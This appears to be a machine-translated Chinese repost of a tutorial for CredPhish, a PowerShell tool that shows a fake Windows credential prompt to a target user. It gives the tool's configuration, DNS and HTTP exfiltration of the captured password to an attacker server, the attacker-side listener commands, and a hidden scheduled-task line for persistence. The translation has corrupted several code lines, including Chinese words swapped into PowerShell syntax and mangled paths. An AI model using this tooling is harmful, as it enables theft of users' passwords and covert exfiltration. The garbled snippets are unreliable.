如何使用 PowerShell 钓鱼获取用户密码
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
欺骗凭证提示是一种有效的权限提升和横向移动技术。在 Windows 环境中遇到 Outlook、VPN 和各种其他身份验证协议看似随机的密码提示并不罕见。攻击者将滥用 Windows 和 PowerShell 中内置的功能来调用凭据弹出窗口来获取用户密码。 根据MITRE ATT&CK 框架的定义 : “当执行需要额外权限的程序时……操作系统通常会提示用户提供正确的凭据以授权任务的提升权限。攻击者可能会模仿常见的操作系统组件,通过看似合法的提示来提示用户输入凭据……通过 PowerShell 等语言。” 什么是 CredPhish? CredPhish 是一个 PowerShell 脚本,旨在调用凭据提示和泄露密码。它依靠CredentialPicker API 来收集用户密码,依靠 PowerShell 的 Resolve-DnsName 进行 DNS渗漏,并依靠Windows Defender的 ConfigSecurityPolicy.exe 来执行任意 GET 请求。 下面是 CredPhish 的一个例子。请注意凭据在 Windows 安全提示中提交后立即传送到攻击者的 DNS 服务器。 默认情况下,CredPhish 将使用 Resolve-DnsName(PowerShell 内置的 DNS 解析器)来窃取凭据。它将凭据中的每个字符转换为其各自的十六进制值,将转换后的值分解为预定义的块,并将这些块放入流行网站的子域中。以下屏幕截图是十六进制形式的泄露凭据示例。请注意 google.com 和 office.com 子域中“tokyoneon”(746f6b796f6e656f6e) 的十六进制值。 在解析 DNS 查询之前,DNS 服务器将剥离十六进制子域以避免创建数十个错误响应。在下面的 Wireshark 屏幕截图中,请注意“Answers”字段不再包含子域并成功解析为 Google 的 IP 地址之一。 CredPhish.ps1 配置 我将credphish.ps1设计 为一个独立的脚本,不需要 Import-Module,这是一个常见的妥协指标。可配置选项以变量的形式位于 PS1 脚本的顶部,以避免冗长的命令行参数。 第一行是最重要的,因为它定义了泄露数据的交付位置(即攻击者的 Kali 服务器)。 # exfil 地址 $exfilServer = "192.168.56.112" 接下来,几个变量定义了提示将如何呈现给毫无戒心的目标用户。在 $promptCaption 定义了“应用程序”请求用户证书(例如,“微软办公室”)。并且 $promptMessage 通常指定与请求关联的帐户。 # prompt $targetUser = $ env : username $companyEmail = " blackhillsinfosec.com " $promptCaption = " Microsoft Office " $promptMessage = " Connecting to: $targetUser @ $companyEmail " $maxTries = 1 # 调用提示的最大次数 $ delayPrompts = 2 # 提示之间的秒数 $validateCredentials = $ false # 如果凭据有效,则中断 $maxTries 并立即删除 该 $maxTries 变量定义了在目标提交凭据之前提示出现的次数。为避免怀疑, 1 是默认值。该 $delayPrompts 变量定义了每个提示之间的秒数(如果 $maxTries 大于 1)。并且 $validateCredentials,默认情况下禁用,将尝试Start-Process 在提升的上下文中使用本地验证提交的凭据 。如果启用并验证凭据, $maxTries 则会被忽略,并且数据会立即发送到攻击者的服务器。 过滤方法 如前所述,DNS 外泄是将密码传送到攻击者服务器的默认方法。 $exfilDomains 列表包括用于 DNS 查询并随机选择的各种域。该 $subdomainLength 变量决定了每个子域的所需长度。 #域名解析 # 在kali中启动dns服务器:python3 /path/to/credphish/dns_server.py $ enableDnsExfil = $真 $ exfilDomains = @(' .microsoft.com ', ' .google.com ', ' .office.com ', ' .live.com ')的DNS exfil#域 $ randomDelay = GET随机 -最小5 -最大20 # dns 查询之间的延迟 $subdomainLength = 6 # 子域中的最大字符数。必须是 2-60 之间的偶数,否则查询会中断 要拦截使用 DNS 过滤功能发送的凭据,请 在 Kali 中执行 dns_server.py脚本。按 Ctrl + c 终止 DNS 服务器,它将以明文形式重建拦截的凭据。 CredPhish 中内置的另一种渗漏方法是 HTTP 请求方法。它利用Windows Defender 中包含的二进制文件“ ConfigSecurityPolicy.exe ”向攻击者的服务器提供凭据。将 $enableHttpExfil 变量设置 $true 为启用它。 # http # 在 kali 中启动 http 服务器:python3 -m http.server 80 $enableHttpExfil = $false $ConfigSecurityPolicy = " C:Prog*FilesWin*DefenderConfigSecurityPolicy.exe " 要拦截使用 发送的凭据 ConfigSecurityPolicy.exe,请在 Kali 中启动一个简单的 HTTP 服务器以在日志中捕获它们。 在网络上,泄露的凭据将显示如下: GET /DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla /4.0(兼容;MSIE 7.0;Windows NT 10.0;Win64;x64;Trident/7.0;.NET4.0C;.NET4.0E) 主机:192.168.56.104 连接:Keep-Alive 由于凭证在传输前经过 URL 编码,因此使用 Burp 的解码器模块观察数据或使用 Python 的 urllib 库通过命令行进行 URL 解码。 >>> from urllib.parse import unquote >>> unquote ("/DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D") '/DESKTOP-S4DAAF0[tokyoneon:# !Extr3m3Ly_& ecuRe-P@ssw %rD#]' CredPhish.ps1 执行 要快速测试 CredPhish,请将 移动 credphish.ps1 到目标 Windows 10 计算机并使用 PowerShell 执行它。 一种持久的执行方法可能涉及 Task Schedtokyoneon //uler,它是 Windows 的一个组件,它提供了以预定义的时间间隔安排脚本执行的能力。下面的 schtasks 示例将credphish.ps1 每 2 分钟执行 一次。 schtasks /create /sc minute /mo 2 /tn "credphish" /tr "powershell -ep bypass -WindowStyle Hidden C:pathtocredPhishcredphish.ps1"